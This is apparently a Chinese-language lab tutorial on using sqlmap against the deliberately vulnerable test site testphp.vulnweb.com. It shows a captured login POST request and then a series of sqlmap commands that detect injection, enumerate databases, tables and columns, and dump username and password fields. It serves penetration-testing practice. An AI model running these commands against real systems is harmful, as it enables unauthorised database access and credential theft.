用的是这个靶场 testphp.vulnweb.com
1、获取检测链接的http 保存本地123.txt文件
获取下面链接可以获取到curl放到postman转成http代码就和下面的一样的了
POST /userinfo.php HTTP/1.1
Host: testphp.vulnweb.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Origin: http://testphp.vulnweb.com
Pragma: no-cache
Proxy-Connection: keep-alive
Referer: http://testphp.vulnweb.com/login.php
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Content-Length: 18
uname=123&pass=123
2、使用命令查看是否有漏洞
python3 sqlmap.py -r 123.txt -v4
指定注入参数的地方(指定了地方会比较快,post的就指定提交字段,不然他会在url哪里也尝试是否有注入)
python3 sqlmap.py -r 123.txt -p "name,paward" -v4
如果存在会暴露出mysql版本等信息
3、查看库、表、字段(所有的)
方法一:
猜表 (这个其实就把数据库 和 表都查出来了 耗的时间久一点点)
python3 sqlmap.py -r 123.txt -v4 --tables
根据猜解的表进行猜解表的字段(假如通过2得到了admin这个表)
python3 sqlmap.py -r 123.txt -v4 --columns -T admin
根据字段猜解内容(假如通过3得到字段为username和password)
python3 sqlmap.py -r 123.txt -v4 --dump -T admin -C "username,password"
方法二:
查找数据库 (只查库,这个比较快)
python3 sqlmap.py -r 123.txt -v4 --dbs
通过第一步的数据库查找表(假如数据库名为dataname)
python3 sqlmap.py -r 123.txt -v4 -D dataname --tables
通过2中的表得出列名(假如表为table_name)
python3 sqlmap.py -r 123.txt -v4 -D dataname -T table_name --columns
获取字段的值(假如扫描出id,user,password字段)
python3 sqlmap.py -r 123.txt -v4 -D dataname -T table_name -C "id,user,password" --dump
其他参数参考 https://www.cnblogs.com/ichunqiu/p/5805108.html
方法二示例图
4、查看库(只找当前使用的,更快 )
//查看当前数据库所使用的数据库
python3 sqlmap.py -r 123.txt -v4 --current-db
请求延迟参数
--delay 1
--safe-freq 3
其他参考数据库命令查找 https://blog.csdn.net/weixin_46634468/article/details/120887609
https://zhuanlan.zhihu.com/p/485603130